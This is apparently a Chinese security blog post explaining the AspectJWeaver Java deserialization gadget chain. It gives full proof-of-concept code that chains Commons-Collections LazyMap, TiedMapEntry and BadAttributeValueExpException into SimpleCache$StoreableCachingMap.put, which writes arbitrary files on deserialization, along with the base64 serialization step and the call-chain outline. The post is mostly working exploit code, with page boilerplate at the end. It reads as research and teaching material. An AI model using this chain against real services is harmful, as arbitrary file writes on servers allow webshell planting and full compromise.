Sangfor华东天勇战队:AspectJWeaver反序列化利用链

依赖:

<dependencies>
    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjweaver</artifactId>
        <version>1.9.2</version>
     </dependency>
</dependencies>

测试类:

import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws Exception{
        //反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        con.setAccessible(true);
        //实例化对象
        HashMap map =  (HashMap)con.newInstance("D:",1);
        //调用其put方法
        map.put("611.txt","无cc success!".getBytes(StandardCharsets.UTF_8));
    }
}

在这里插入图片描述
可以看到生成了611.txt文件,并且写入了内容
那么我们看看我们调用的哪个函数写入的

org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap

在这里插入图片描述
可以看到用的内部类,且是私有方法,两个参数分别为String和int类型,所以反射调用的时候需要

setAccessible(true)

然后实例化,就可以调用其put方法了,如下
在这里插入图片描述
在这里插入图片描述
可以看到key代表文件名,value代表文件内容

为什么要用到CC链呢?
因为只要能触发SimpleCache$StoreableCachingMap的put方法就能执行文件写入操作,CommonCollections中的LazyMap的get方法中存在put方法的调用
那么这里我们用commons-collections

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjweaver</artifactId>
        <version>1.9.2</version>
    </dependency>
</dependencies>

cc_test:

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc_test {
    public static void main(String[] args) throws Exception{
        //反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        con.setAccessible(true);
        //实例化对象
        HashMap map =  (HashMap)con.newInstance("D:",1);
        //这里用到ConstantTransformer是为了构造value,即写入文件的值
        ConstantTransformer transform = new ConstantTransformer("有cc".getBytes(StandardCharsets.UTF_8));
        //返回一个LazyMap对象
        Map outmap = LazyMap.decorate(map, transform);
        //利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
        TiedMapEntry tiedmap = new TiedMapEntry(outmap, "612.txt");
        //这里为了序列化时不触发LazyMap的get方法
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        //序列化
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(poc);
        System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
        //反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
}

在这里插入图片描述
在这里插入图片描述
那么整体用到的就是

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值